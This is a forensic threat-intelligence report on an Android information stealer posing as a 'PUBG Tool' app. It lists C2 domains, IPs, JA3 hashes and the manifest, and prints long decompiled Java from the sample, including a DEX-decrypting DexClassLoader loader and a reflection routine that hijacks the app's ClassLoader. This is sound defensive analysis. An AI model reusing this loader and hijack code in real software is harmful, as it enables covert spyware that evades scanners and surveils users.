This report details the discovery of the YGS-2026 malware family, a sophisticated Android information stealer first identified in early 2026. The malware employs a unique multi-layer obfuscation strategy, including Unreal Engine 4 asset inflation to bypass scanners and a custom native-layer decryption engine ("slky" algorithm). Notably, it weaponizes the iApp rapid development framework to execute dynamic Lua-based payloads, enabling real-time surveillance capabilities such as silent camera capture, keylogging via Accessibility Services, and direct MySQL data exfiltration. The findings reveal a bridge between amateur development tools and professional-grade anti-forensic techniques. This report mainly contains Forensic Intelligence Report: [YGS-2026-01] and Forensic Intelligence Report: [YGS-2026-02].
Subject: Analysis of Obfuscated "PUBG Tool" Spyware
Threat Category: Trojanized Utility / Information Stealer
Target Platform: Android (ARMv8/ARMv7/x86)
Security Level: Confidential / Forensic Investigation
Author: Apich Organization Security Team
DOI: 10.5281/zenodo.18320725
A detailed forensic investigation has been conducted on a malicious Android application masquerading as a game optimization utility ("PUBG Tool"). The application utilizes a multi-stage, native-backed execution chain to deploy a covert spying payload. The malware leverages social engineering (UE4 decoy assets), native-layer decryption, and runtime ClassLoader hijacking to bypass traditional static analysis and Play Protect heuristics.
The attacker employs several layers of deception to maintain a low profile on the victim's device:
The application package contains significant directory structures associated with Unreal Engine 4 (UE4).
Purpose: These assets serve no functional purpose for the malware's core logic. They are included to artificially inflate the APK size and mimic the file signature of high-performance mobile games, misleading both the user and automated scanners.
Primary C2: http://www.bu84.com
Exfiltration Endpoint: hy/x/config.php
Status: Operational. The server is configured to receive structured POST data, likely containing device metadata and captured media.
xNetwork CommunicationHTTP requestsGET http://ht.bu84.com/hy/x/t2.txtGET http://ht.bu84.com/hy/x/t2.txt 404DNS Resolutionsdocq.cnht.bu84.comhyrjk.ftp.wtbusaym.sitedownloads.blissroms.orginfinitedata-pa.googleapis.comwww.googleapis.comIP Traffic
TCP 47.89.9.97:80 (docq.cn) TCP 107.151.212.80:80 (hyrjk.ftp.wtbusaym.site) TCP 172.217.214.94:443 TCP 192.178.129.138:443 TCP 74.125.202.100:443 TCP 172.67.151.52:443 (downloads.blissroms.org) TCP 104.21.64.137:443 (downloads.blissroms.org) TCP 74.125.202.106:443 TCP 142.250.125.95:443 (www.googleapis.com)
JA3 Digests
69659b6dfbeaa53c063d2002cfecab13 893d25297c894da36fbdee5cea98b01c 8f35687f7cd9ba7a693ccc31d712f6c0 9b02ebd3a43b62d825e1ac605b621dc8 aa50c12a5dfa717d9d6ab34e97de79d5
Memory Pattern Domains
android.googlesource.com schemas.android.com
Memory Pattern Urls
http://myserver/~pat/somebeans.jar http://schemas.android.com/aapt http://schemas.android.com/apk/res-auto http://schemas.android.com/apk/res/android http://schemas.android.com/apk/res/android77material_textinput_timepicker https://android.googlesource.com/toolchain/clang https://android.googlesource.com/toolchain/llvm
TLSSNI: infinitedata-pa.googleapis.comxxxxxxxxxx <manifest xmlns:android="http://schemas.android.com/apk/res/android" android:compileSdkVersion="31" android:compileSdkVersionCodename="12" package="com.huage.p34445641" platformBuildVersionCode="31" platformBuildVersionName="12"> <uses-permission android:name="i.app"/> <uses-permission android:name="android.permission.INTERNET"/> <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/> <uses-permission android:name="i.app"/> <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/> <uses-permission android:name="i.app"/> <uses-permission android:name="android.permission.VIBRATE"/> <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/> <uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE"/> <uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS"/> <uses-feature android:name="i.app"/> <uses-feature android:name="i.app"/> <uses-feature android:name="i.app"/> <uses-feature android:name="i.app"/> <uses-permission android:name="i.app"/> <uses-permission android:name="android.permission.REQUEST_INSTALL_PACKAGES"/> <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/> <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES"/> <application android:allowBackup="false" android:appComponentFactory="androidx.core.app.CoreComponentFactory" android:hardwareAccelerated="true" android:icon="@mipmap/img_iapp" android:label="刷 刀 体 质" android:largeHeap="true" android:name="com.iapp.app.x5.APPAplication" android:networkSecurityConfig="@xml/network_config" android:requestLegacyExternalStorage="true" android:resizeableActivity="true" android:supportsRtl="true" android:theme="@style/AppBaseiAppTheme0" android:usesCleartextTraffic="true"> <meta-data android:name="android.max_aspect" android:value="2.1"/> <activity android:name="com.iapp.app.logoActivity" android:theme="@style/logoAppTheme"/> <activity android:name="com.iapp.app.run.load" android:theme="@style/logoAppTheme"/> <activity android:configChanges="keyboardHidden|orientation|screenSize" android:exported="true" android:name="com.iapp.app.run.mian"> <intent-filter> <action android:name="android.intent.action.MAIN"/> <category android:name="android.intent.category.LAUNCHER"/> </intent-filter> </activity> <activity android:configChanges="keyboardHidden|orientation|screenSize" android:name="com.iapp.app.run.main"/> <activity android:configChanges="keyboardHidden|orientation|screenSize" android:name="com.iapp.app.run.main2"/> <activity android:configChanges="keyboardHidden|orientation|screenSize" android:name="com.iapp.app.run.main3"/> <activity android:configChanges="keyboardHidden|orientation|screenSize" android:name="com.iapp.app.Webview"/> <activity android:configChanges="keyboardHidden|orientation|screenSize" android:name="com.iapp.app.Videoview"/> <activity android:name="com.iapp.app.DownList"/> <activity android:configChanges="keyboardHidden|orientation" android:name="cn.hugo.android.scanner.CaptureActivity" android:screenOrientation="portrait" android:theme="@android:style/Theme.NoTitleBar.Fullscreen" android:windowSoftInputMode="stateAlwaysHidden"/> <provider android:authorities="com.huage.p34445641.myFileProvider" android:exported="false" android:grantUriPermissions="true" android:name="androidx.core.content.FileProvider"> <meta-data android:name="android.support.FILE_PROVIDER_PATHS" android:resource="@xml/file_provider"/> </provider> <meta-data android:name="i_app_logOutput" android:value="shi"/> <meta-data android:name="i_app_errLogOutput" android:value="shi"/> </application></manifest>c.b.a.a.g)The loader acts as the primary coordinator. Its main responsibilities include:
Environment Verification: Checking for write permissions and SDK versioning to adapt file paths.
Logging: Maintaining a local log.txt (observed in internal storage) to track execution success for the developer.
Dynamic Loading: Invoking DexClassLoader to execute the decrypted payload stored in the _RunDex_ directory.
xxxxxxxxxxpackage c.b.a.a;
import android.app.Activity;import android.content.Context;import android.content.res.AssetFileDescriptor;import android.content.res.AssetManager;import android.database.sqlite.SQLiteDatabase;import android.graphics.Bitmap;import android.graphics.BitmapFactory;import android.graphics.drawable.Drawable;import android.media.MediaPlayer;import android.os.Bundle;import android.support.v4.media.session.PlaybackStateCompat;import android.text.Html;import android.util.Log;import android.view.LayoutInflater;import android.view.View;import android.view.ViewGroup;import android.widget.CheckBox;import android.widget.ImageView;import android.widget.RadioButton;import android.widget.TextView;import androidx.vectordrawable.graphics.drawable.PathInterpolatorCompat;import com.iapp.app.Aid_YuCodeX;import com.iapp.app.run.mian;import com.iapp.app.x5.APPAplication;import com.iapp.app.z;import dalvik.system.DexClassLoader;import java.io.File;import java.io.IOException;import java.io.InputStream;import java.lang.ref.SoftReference;import java.lang.ref.WeakReference;import java.lang.reflect.Field;import java.text.SimpleDateFormat;import java.util.Date;import java.util.HashMap;import java.util.Map;
/* loaded from: /home/pana/dev/jadx-1.5.3/20260120_source_apk/classes.dex */public class g { public static int a = 2131231173; public static int b = 2131689499;
/* renamed from: c, reason: collision with root package name */ private static long f1347c;
class a implements MediaPlayer.OnCompletionListener { a() { }
// android.media.MediaPlayer.OnCompletionListener public void onCompletion(MediaPlayer mediaPlayer) { mediaPlayer.release(); } }
public static void A(Context context, Object obj) throws Throwable { if (w.u == 0) { if (APPAplication.alt != null) { k.a(context, 1, String.valueOf(obj)); return; } return; } if (w.m.length() > 6000) { w.m = w.m.substring(0, PathInterpolatorCompat.MAX_NUM_POINTS); } StringBuffer stringBuffer = new StringBuffer("["); stringBuffer.append(new SimpleDateFormat("HH:mm:ss:SSS").format(new Date())); stringBuffer.append("] "); stringBuffer.append(obj); stringBuffer.append('\n'); stringBuffer.append(w.m); w.m = stringBuffer.toString(); String strValueOf = String.valueOf(obj); if (APPAplication.alt != null) { k.a(context, 1, strValueOf); } Log.v("ygs", strValueOf); if (w.u != 2 || context == null) { return; } long time = new Date().getTime(); if (time - f1347c > 1000) { e.k(e.m(context) + "/iApp/Log/" + String.valueOf(com.iapp.app.a.f1934c) + ".log", w.m); f1347c = time; } }
public static Bundle B(String str) { Bundle bundle = new Bundle(); bundle.putString("OpenFilexmlui", str); return bundle; }
public static String C(Context context, String str) { return com.iapp.app.b.h5(context, str.toLowerCase()); }
public static void D(Object obj, Context context, String str, Object obj2, int i2, Object obj3, Object obj4) { String lowerCase = str.toLowerCase(); com.iapp.app.b.h4(context, lowerCase, obj instanceof Aid_YuCodeX ? lowerCase.endsWith(".iyu") ? new Object[]{obj, obj2, Integer.valueOf(i2), obj3, obj4, lowerCase.substring(0, lowerCase.length() - 4)} : new Object[]{obj, obj2, Integer.valueOf(i2), obj3, obj4, lowerCase} : new Object[]{obj, obj2, Integer.valueOf(i2), obj3, obj4}); }
public static void E(Context context, Activity activity, String str, String str2) throws Throwable { if (mian.sh) { new w(context, activity).d(str2); return; } Aid_YuCodeX aid_YuCodeX = new Aid_YuCodeX(context, activity); int iIndexOf = str.indexOf(46); mian.c(str.substring(0, iIndexOf), str.substring(iIndexOf + 1) + str2, aid_YuCodeX); }
public static void F(Context context, Activity activity, String[] strArr, Object[] objArr, String str, String str2) throws Throwable { if (mian.sh) { w wVar = new w(context, activity); for (int i2 = 0; i2 < objArr.length; i2++) { wVar.S(strArr[i2].trim(), objArr[i2]); } wVar.d(str2); return; } Aid_YuCodeX aid_YuCodeX = new Aid_YuCodeX(context, activity); for (int i3 = 0; i3 < objArr.length; i3++) { aid_YuCodeX.dim(strArr[i3].trim(), objArr[i3]); } int iIndexOf = str.indexOf(46); mian.c(str.substring(0, iIndexOf), str.substring(iIndexOf + 1) + str2, aid_YuCodeX); }
public static void G(Context context, String str) { com.iapp.app.b.h6(context, str.toLowerCase(), w.l); }
public static String a(Context context, String str) { return com.iapp.app.b.h(context, str.toLowerCase()); }
public static Bitmap b(Context context, String str) { return str.startsWith("@") ? j.b(context, e.p(context, str)) : j.c(e.p(context, str)); }
public static Bitmap c(Context context, String str) { InputStream inputStreamOpen; long jAvailable; boolean z; Bitmap bitmapDecodeStream = null; if (str == null) { return null; } String strP = e.p(context, str); if (str.startsWith("@")) { try { inputStreamOpen = context.getAssets().open(strP); jAvailable = inputStreamOpen.available(); z = true; } catch (IOException e) { e.printStackTrace(); return null; } } else { File file = new File(strP); if (!file.exists()) { return null; } jAvailable = file.length(); inputStreamOpen = null; z = false; } BitmapFactory.Options options = new BitmapFactory.Options(); options.inJustDecodeBounds = true; options.inSampleSize = jAvailable >= 67584 ? jAvailable < 204800 ? 2 : jAvailable < 512000 ? 3 : jAvailable < PlaybackStateCompat.ACTION_SET_CAPTIONING_ENABLED ? 5 : 10 : 1; options.inDensity = 120; options.inPreferredConfig = Bitmap.Config.RGB_565; options.inJustDecodeBounds = false; try { bitmapDecodeStream = z ? BitmapFactory.decodeStream(inputStreamOpen, null, options) : BitmapFactory.decodeFile(strP, options); } catch (Throwable unused) { } if (inputStreamOpen != null) { try { inputStreamOpen.close(); } catch (Exception e2) { e2.printStackTrace(); } } return bitmapDecodeStream; }
public static boolean d(Context context, MediaPlayer mediaPlayer, String str) { try { if (r.v(str.toLowerCase())) { mediaPlayer.setDataSource(str); } else if (str.startsWith("@")) { AssetFileDescriptor assetFileDescriptorOpenFd = context.getAssets().openFd(o(context, str)); mediaPlayer.setDataSource(assetFileDescriptorOpenFd.getFileDescriptor(), assetFileDescriptorOpenFd.getStartOffset(), assetFileDescriptorOpenFd.getLength()); } else { File file = new File(o(context, str)); if (!file.exists()) { return false; } mediaPlayer.setDataSource(file.getPath()); } } catch (Exception e) { e.printStackTrace(); } try { mediaPlayer.prepare(); } catch (IOException e2) { e2.printStackTrace(); } catch (IllegalStateException e3) { e3.printStackTrace(); } mediaPlayer.start(); mediaPlayer.setOnCompletionListener(new a()); return true; }
public static String e(Context context, String str) { return com.iapp.app.b.h(context, str.toLowerCase()); }
public static boolean f(Context context, String str, String str2, boolean z) { boolean zStartsWith = str.startsWith("@"); String strO = o(context, str); return zStartsWith ? e.e(context, strO, o(context, str2), z) : e.a(strO, o(context, str2), Boolean.valueOf(z)); }
public static boolean g(Context context, String str) throws IOException { if (!str.startsWith("@")) { return new File(o(context, str)).exists(); } try { context.getAssets().open(o(context, str)).close(); return true; } catch (IOException e) { e.printStackTrace(); return false; } }
public static String[] h(Context context, String str) { if (str.startsWith("@")) { try { return context.getAssets().list(o(context, str)); } catch (IOException e) { e.printStackTrace(); return null; } } File file = new File(o(context, str)); if (file.exists()) { return file.list(); } return null; }
public static String i(Context context, String str) { return str.startsWith("@") ? e.f(context, o(context, str)) : e.h(o(context, str)); }
public static String j(Context context, String str, String str2) { return str.startsWith("@") ? e.g(context, o(context, str), str2) : e.i(o(context, str), str2); }
public static long k(Context context, String str) throws IOException { if (!str.startsWith("@")) { File file = new File(o(context, str)); if (file.exists()) { return file.length(); } return -1L; } int iAvailable = -1; try { InputStream inputStreamOpen = context.getAssets().open(o(context, str)); iAvailable = inputStreamOpen.available(); inputStreamOpen.close(); } catch (IOException e) { e.printStackTrace(); } return iAvailable; }
public static int l(Context context, String str, String str2, String str3, boolean z) { return str.startsWith("@") ? d.e(context.getAssets().open(o(context, str)), str2, str3, z) : d.f(o(context, str), str2, str3, z); }
public static void m(Context context, String str, String str2, boolean z) { if (str.startsWith("@")) { d.g(context.getAssets().open(o(context, str)), str2, z); } else { d.h(o(context, str), str2, z); } }
public static Object n(String str, Object[] objArr) { return b.h(null, z.class, str, objArr); }
public static String o(Context context, String str) { return e.p(context, str); }
public static View p(Context context, String str) { AssetManager assets = context.getResources().getAssets(); try { return LayoutInflater.from(context).inflate(assets.openXmlResourceParser("assets/res/" + str), (ViewGroup) null); } catch (Exception e) { e.printStackTrace(); return null; } }
public static void q(Object obj, Context context, String str, Object obj2, int i2, Object obj3, Object obj4, Object obj5, Object obj6) { com.iapp.app.b.h4(context, str.toLowerCase(), new Object[]{obj, obj2, Integer.valueOf(i2), obj3, obj4, obj5, obj6}); }
public static DexClassLoader r(Context context, String str, ClassLoader classLoader) { String str2 = com.iapp.app.a.a(context) + "_RunDex"; String str3 = com.iapp.app.a.a(context) + "_RunDex_"; e.b(str2, true); e.b(str3, true); byte[] bArrW = e.w(context.getClassLoader().getResourceAsStream("lib/" + str)); File file = new File(str3 + "/" + str); if (file.exists() && !r.e(bArrW).equals(r.e(e.v(file)))) { file.delete(); } if (!file.exists()) { e.j(str3 + "/" + str, bArrW); } return new DexClassLoader(str3 + "/" + str, str2, null, classLoader); }
public static void s(String str) { System.loadLibrary(str); }
public static byte[] t(Context context, String str) { return str.startsWith("@") ? e.u(context, o(context, str)) : e.x(o(context, str)); }
public static void u(Context context, DexClassLoader dexClassLoader) { try { Class<?> cls = Class.forName("android.app.ActivityThread"); Class<?> cls2 = Class.forName("android.app.LoadedApk"); Object objInvoke = cls.getMethod("currentActivityThread", new Class[0]).invoke(null, new Object[0]); Field declaredField = cls.getDeclaredField("mPackages"); declaredField.setAccessible(true); WeakReference weakReference = (WeakReference) ((Map) declaredField.get(objInvoke)).get(context.getPackageName()); Field declaredField2 = cls2.getDeclaredField("mClassLoader"); declaredField2.setAccessible(true); declaredField2.set(weakReference.get(), dexClassLoader); } catch (Exception e) { e.printStackTrace(); } }
public static Bitmap v(Context context, String str) { return str.startsWith("@") ? j.b(context, o(context, str)) : j.c(o(context, str)); }
public static void w(View view, Object obj, HashMap<Integer, Object> map, i iVar) { Boolean bool = Boolean.TRUE; if (view == null) { return; } Object[] objArr = (Object[]) view.getTag(); objArr[3] = map; view.setTag(objArr); if (obj == null) { if (view instanceof RadioButton) { ((RadioButton) view).setText(""); return; } if (view instanceof CheckBox) { ((CheckBox) view).setText(""); return; } else if (view instanceof TextView) { ((TextView) view).setText(""); return; } else { if (view instanceof ImageView) { ((ImageView) view).setImageDrawable(null); return; } return; } } if (view instanceof RadioButton) { if (obj instanceof Boolean) { ((RadioButton) view).setChecked(obj.equals(bool)); return; } String strValueOf = String.valueOf(obj); boolean zStartsWith = strValueOf.startsWith("(html)"); RadioButton radioButton = (RadioButton) view; CharSequence charSequenceFromHtml = strValueOf; if (zStartsWith) { charSequenceFromHtml = Html.fromHtml(strValueOf.substring(6)); } radioButton.setText(charSequenceFromHtml); return; } if (view instanceof CheckBox) { if (obj instanceof Boolean) { ((CheckBox) view).setChecked(obj.equals(bool)); return; } String strValueOf2 = String.valueOf(obj); boolean zStartsWith2 = strValueOf2.startsWith("(html)"); CheckBox checkBox = (CheckBox) view; CharSequence charSequenceFromHtml2 = strValueOf2; if (zStartsWith2) { charSequenceFromHtml2 = Html.fromHtml(strValueOf2.substring(6)); } checkBox.setText(charSequenceFromHtml2); return; } if (view instanceof TextView) { String strValueOf3 = String.valueOf(obj); boolean zStartsWith3 = strValueOf3.startsWith("(html)"); TextView textView = (TextView) view; CharSequence charSequenceFromHtml3 = strValueOf3; if (zStartsWith3) { charSequenceFromHtml3 = Html.fromHtml(strValueOf3.substring(6)); } textView.setText(charSequenceFromHtml3); return; } if (view instanceof ImageView) { if (obj instanceof Bitmap) { ((ImageView) view).setImageBitmap((Bitmap) obj); return; } if (obj instanceof Drawable) { ((ImageView) view).setImageDrawable((Drawable) obj); return; } if (iVar == null) { ((ImageView) view).setImageBitmap(b(view.getContext(), String.valueOf(obj))); return; } ImageView imageView = (ImageView) view; String string = obj.toString(); String lowerCase = string.toLowerCase(); SoftReference<Drawable> softReference = iVar.b.get(lowerCase); Drawable drawable = softReference != null ? softReference.get() : null; if (drawable != null) { imageView.setImageDrawable(drawable); } else if (lowerCase.startsWith("http:") || lowerCase.startsWith("https:") || lowerCase.startsWith("ftp:")) { iVar.s(imageView, string, lowerCase, true); } else { iVar.p(imageView, string, lowerCase, true); } } }
public static boolean x(Context context, String str, boolean z) { return p.c(context, str, z); }
public static boolean y(Context context, String str, boolean z) { return p.f(context, str, z); }
public static SQLiteDatabase z(Context context, String str, boolean z) { return p.g(context, str, z); }}libygsiyu.so)Static analysis of the native layer reveals a sophisticated decryption engine written in C++ (Clang/LLVM).
The "Silly Key" (slky) Algorithm: The library exports a function iapp::slky, a custom stream cipher used to decrypt assets/lib.so.
JNI Bridge: Functions such as Java_com_iapp_app_b_h act as the interface, allowing Java to trigger high-speed native decryption while keeping the decryption key hidden from Java-based decompilers.
The malware employs a "Hot-Swap" technique via Method u():
ActivityThread Manipulation: Using Java Reflection, the malware accesses the mPackages field of the current ActivityThread.
ClassLoader Replacement: It replaces the legitimate mClassLoader with its own DexClassLoader. This effectively "re-boots" the app's logic in memory, replacing the PUBG Tool UI with the malicious spying engine without an external process change.
xxxxxxxxxxpackage com.iapp.app;
import android.R;import android.annotation.SuppressLint;import android.annotation.TargetApi;import android.app.Activity;import android.content.Context;import android.content.DialogInterface;import android.content.Intent;import android.database.Cursor;import android.graphics.Bitmap;import android.graphics.Color;import android.net.Uri;import android.net.http.SslError;import android.os.Build;import android.os.Bundle;import android.os.Handler;import android.os.Message;import android.provider.MediaStore;import android.view.KeyEvent;import android.view.Menu;import android.view.MenuItem;import android.view.View;import android.view.ViewGroup;import android.view.Window;import android.view.animation.RotateAnimation;import android.webkit.CookieManager;import android.webkit.CookieSyncManager;import android.webkit.DownloadListener;import android.webkit.JsPromptResult;import android.webkit.JsResult;import android.webkit.SslErrorHandler;import android.webkit.ValueCallback;import android.webkit.WebChromeClient;import android.webkit.WebSettings;import android.webkit.WebStorage;import android.webkit.WebView;import android.webkit.WebViewClient;import android.widget.EditText;import android.widget.FrameLayout;import android.widget.ImageView;import android.widget.Toast;import androidx.appcompat.app.ActionBar;import androidx.appcompat.app.AlertDialog;import androidx.appcompat.app.AppCompatActivity;import androidx.appcompat.widget.Toolbar;import androidx.core.view.ViewCompat;import java.io.File;import java.io.FileNotFoundException;
/* loaded from: /home/pana/dev/jadx-1.5.3/20260120_source_apk/classes.dex */public class Webview extends AppCompatActivity { private WebView b; private ImageView e; private Toolbar f; private FrameLayout g; private int h;
/* renamed from: i, reason: collision with root package name */ private WebChromeClient.CustomViewCallback f1933i; private String j; private String a = null;
/* renamed from: c, reason: collision with root package name */ private String f1931c = null;
/* renamed from: d, reason: collision with root package name */ private RotateAnimation f1932d = null; private ValueCallback<Uri> k = null; private ValueCallback<Uri[]> l = null; public String urlXX = null; public String userAgentXX = null; public String contentDispositionXX = null; public String mimetypeXX = null; public String uid = null; public long contentLengthXX = 0; public int chongzhi_i = 0; public int chongzhi_q = 0; public String chongzhi_type = null; public String chongzhi_id = null; private Handler m = new e();
public class a implements DownloadListener { public a() { }
// android.webkit.DownloadListener public void onDownloadStart(String str, String str2, String str3, String str4, long j) { String lowerCase = str4.toLowerCase(); String strC = str3 != null ? c.b.a.a.r.c(str3, "filename=\"", "\"") : null; if (strC == null) { if (str.contains("?")) { str = str.substring(0, str.indexOf(63)); } strC = c.b.a.a.r.b(str); String lowerCase2 = strC.toLowerCase(); if (lowerCase.equals("application/vnd.android.package-archive") && !lowerCase2.endsWith(".apk")) { strC = strC + ".apk"; } } if (strC != null) { Toast.makeText(Webview.this, "开始下载 " + strC, 1).show(); com.iapp.app.a.b.d(str, strC, null); } if (Webview.this.f1931c == null) { Webview.this.finish(); } } }
class b implements DialogInterface.OnClickListener { final /* synthetic */ JsPromptResult a;
b(Webview webview, JsPromptResult jsPromptResult) { this.a = jsPromptResult; }
// android.content.DialogInterface.OnClickListener public void onClick(DialogInterface dialogInterface, int i2) { this.a.cancel(); } }
class c implements DialogInterface.OnClickListener { final /* synthetic */ JsPromptResult a; final /* synthetic */ EditText b;
c(Webview webview, JsPromptResult jsPromptResult, EditText editText) { this.a = jsPromptResult; this.b = editText; }
// android.content.DialogInterface.OnClickListener public void onClick(DialogInterface dialogInterface, int i2) { this.a.confirm(this.b.getText().toString()); } }
class d extends Thread { final /* synthetic */ String a;
d(String str) { this.a = str; }
// java.lang.Thread, java.lang.Runnable public void run() { String str = c.b.a.a.e.m(Webview.this) + "/img/" + c.b.a.a.r.b(this.a); try { if (c.b.a.a.h.a(this.a, str, true) != -1) { Webview.this.j = str; Webview.this.a("已保存至:" + str); Webview.saveImageToGallery(Webview.this, new File(str)); } } catch (Exception e) { e.printStackTrace(); } } }
class e extends Handler { e() { }
// android.os.Handler public void handleMessage(Message message) { ImageView imageView; int i2; int i3 = message.what; if (i3 == 1) { Toast.makeText(Webview.this, message.obj.toString(), 1).show(); return; } if (i3 == 2) { imageView = Webview.this.e; i2 = 8; } else { if (i3 != 3) { return; } imageView = Webview.this.e; i2 = 0; } imageView.setVisibility(i2); } }
class f implements View.OnClickListener { f() { }
// android.view.View.OnClickListener public void onClick(View view) { if (Webview.this.b.canGoBack()) { Webview.this.b.goBack(); } else { Webview.this.finish(); } } }
class g extends WebChromeClient { g() { }
// android.webkit.WebChromeClient public void onExceededDatabaseQuota(String str, String str2, long j, long j2, long j3, WebStorage.QuotaUpdater quotaUpdater) { quotaUpdater.updateQuota(j2 * 2); }
// android.webkit.WebChromeClient public void onHideCustomView() { Webview.this.onHideCustomViewX(); }
// android.webkit.WebChromeClient public boolean onJsAlert(WebView webView, String str, String str2, JsResult jsResult) { return Webview.this.t(webView, str, str2, jsResult); }
// android.webkit.WebChromeClient public boolean onJsConfirm(WebView webView, String str, String str2, JsResult jsResult) { return Webview.this.u(webView, str, str2, jsResult); }
// android.webkit.WebChromeClient public boolean onJsPrompt(WebView webView, String str, String str2, String str3, JsPromptResult jsPromptResult) { return Webview.this.v(webView, str, str2, str3, jsPromptResult); }
// android.webkit.WebChromeClient public void onProgressChanged(WebView webView, int i2) { String title = webView.getTitle(); if (i2 == 100) { Webview.this.f1931c = title; Webview.this.f.setTitle(title); Webview.this.e.clearAnimation(); Webview.this.e.setVisibility(8); return; } if (title != null) { if (title.length() > 16) { title = title.substring(0, 15); } Webview.this.f.setTitle("[" + i2 + "%] " + title + ".."); } }
public void onReachedMaxAppCacheSize(long j, long j2, WebStorage.QuotaUpdater quotaUpdater) { quotaUpdater.updateQuota(j * 2); }
// android.webkit.WebChromeClient public void onShowCustomView(View view, WebChromeClient.CustomViewCallback customViewCallback) { Context context = Webview.this.b.getContext(); if (context instanceof Activity) { Webview.this.onShowCustomViewX((Activity) context, view, customViewCallback); } }
// android.webkit.WebChromeClient ({"NewApi"}) public boolean onShowFileChooser(WebView webView, ValueCallback<Uri[]> valueCallback, WebChromeClient.FileChooserParams fileChooserParams) { if (Webview.this.l != null) { return true; } Webview.this.l = valueCallback; Intent intent = new Intent("android.intent.action.GET_CONTENT"); intent.addCategory("android.intent.category.OPENABLE"); intent.setType("*/*"); Webview.this.startActivityForResult(Intent.createChooser(intent, "File Chooser"), 1); return true; } }
class h extends WebViewClient { h() { }
// android.webkit.WebViewClient public void onPageFinished(WebView webView, String str) { super.onPageFinished(webView, str); }
// android.webkit.WebViewClient public void onPageStarted(WebView webView, String str, Bitmap bitmap) { super.onPageStarted(webView, str, bitmap); }
// android.webkit.WebViewClient public void onReceivedSslError(WebView webView, SslErrorHandler sslErrorHandler, SslError sslError) { com.iapp.app.x5.WebView.a(webView.getContext(), sslErrorHandler, sslError.getUrl()); }
// android.webkit.WebViewClient public boolean shouldOverrideUrlLoading(WebView webView, String str) { String lowerCase = str.toLowerCase(); if (str.endsWith("DYBJLLQ")) { Webview.this.r(str); return true; } if (c.b.a.a.r.v(lowerCase)) { Webview.this.loadurl(webView, str); } else if (lowerCase.startsWith("iappcopy://")) { c.b.a.a.r.k(str.substring(11), Webview.this); Toast.makeText(Webview.this, "已复制", 1).show(); } else if (lowerCase.startsWith("iappoay://iapp.yx93.com:")) { Webview.this.s("http://" + str.substring(10)); } else if (lowerCase.startsWith("iappopenapp://")) { c.b.a.a.e.s(Webview.this, str.substring(14)); } else { try { Webview.this.startActivity(new Intent("android.intent.action.VIEW", c.b.a.a.m.c(Webview.this, str))); } catch (Exception e) { e.printStackTrace(); } } return true; } }
class i implements DialogInterface.OnCancelListener { final /* synthetic */ JsResult a;
i(Webview webview, JsResult jsResult) { this.a = jsResult; }
// android.content.DialogInterface.OnCancelListener public void onCancel(DialogInterface dialogInterface) { this.a.confirm(); } }
class j implements DialogInterface.OnClickListener { final /* synthetic */ JsResult a;
j(Webview webview, JsResult jsResult) { this.a = jsResult; }
// android.content.DialogInterface.OnClickListener public void onClick(DialogInterface dialogInterface, int i2) { this.a.confirm(); } }
class k implements DialogInterface.OnCancelListener { final /* synthetic */ JsResult a;
k(Webview webview, JsResult jsResult) { this.a = jsResult; }
// android.content.DialogInterface.OnCancelListener public void onCancel(DialogInterface dialogInterface) { this.a.cancel(); } }
class l implements DialogInterface.OnClickListener { final /* synthetic */ JsResult a;
l(Webview webview, JsResult jsResult) { this.a = jsResult; }
// android.content.DialogInterface.OnClickListener public void onClick(DialogInterface dialogInterface, int i2) { this.a.cancel(); } }
class m implements DialogInterface.OnClickListener { final /* synthetic */ JsResult a;
m(Webview webview, JsResult jsResult) { this.a = jsResult; }
// android.content.DialogInterface.OnClickListener public void onClick(DialogInterface dialogInterface, int i2) { this.a.confirm(); } }
class n implements DialogInterface.OnCancelListener { final /* synthetic */ JsPromptResult a;
n(Webview webview, JsPromptResult jsPromptResult) { this.a = jsPromptResult; }
// android.content.DialogInterface.OnCancelListener public void onCancel(DialogInterface dialogInterface) { this.a.cancel(); } }
/* JADX INFO: Access modifiers changed from: private */ public void a(String str) { Message message = new Message(); message.what = 1; message.obj = str; this.m.sendMessage(message); }
public static String getFilePathByContentResolver(Context context, Uri uri) { String string = null; if (uri == null) { return null; } Cursor cursorQuery = context.getContentResolver().query(uri, null, null, null, null); if (cursorQuery == null) { throw new IllegalArgumentException("Query on " + uri + " returns null result."); } try { if (cursorQuery.getCount() == 1 && cursorQuery.moveToFirst()) { string = cursorQuery.getString(cursorQuery.getColumnIndexOrThrow("_data")); } return string; } finally { cursorQuery.close(); } }
/* JADX INFO: Access modifiers changed from: private */ public void onHideCustomViewX() { FrameLayout frameLayout = this.g; if (frameLayout == null) { return; } Context context = frameLayout.getContext(); ((ViewGroup) this.g.getParent()).removeView(this.g); if (context instanceof Activity) { ((Activity) context).getWindow().getDecorView().setSystemUiVisibility(this.h); } this.g.removeAllViews(); this.g = null; WebChromeClient.CustomViewCallback customViewCallback = this.f1933i; if (customViewCallback != null) { customViewCallback.onCustomViewHidden(); } }
/* JADX INFO: Access modifiers changed from: private */ public void onShowCustomViewX(Activity activity, View view, WebChromeClient.CustomViewCallback customViewCallback) { if (this.g != null) { customViewCallback.onCustomViewHidden(); this.g = null; return; } FrameLayout frameLayout = new FrameLayout(activity); this.g = frameLayout; frameLayout.setLayoutParams(new ViewGroup.LayoutParams(-1, -1)); this.g.setBackgroundColor(ViewCompat.MEASURED_STATE_MASK); Window window = activity.getWindow(); this.h = window.getDecorView().getSystemUiVisibility(); window.addContentView(this.g, new ViewGroup.LayoutParams(-1, -1)); window.getDecorView().setSystemUiVisibility(5894); this.g.addView(view); this.f1933i = customViewCallback; }
/* JADX INFO: Access modifiers changed from: private */ public void r(String str) { Intent intent = new Intent(); intent.setAction("android.intent.action.VIEW"); if (str.toLowerCase().startsWith("file://")) { c.b.a.a.m.a(this, intent, new File(str), "text/html"); } else { intent.setData(c.b.a.a.m.c(this, str)); } startActivity(intent); }
/* JADX INFO: Access modifiers changed from: private */ public void s(String str) { new d(str).start(); }
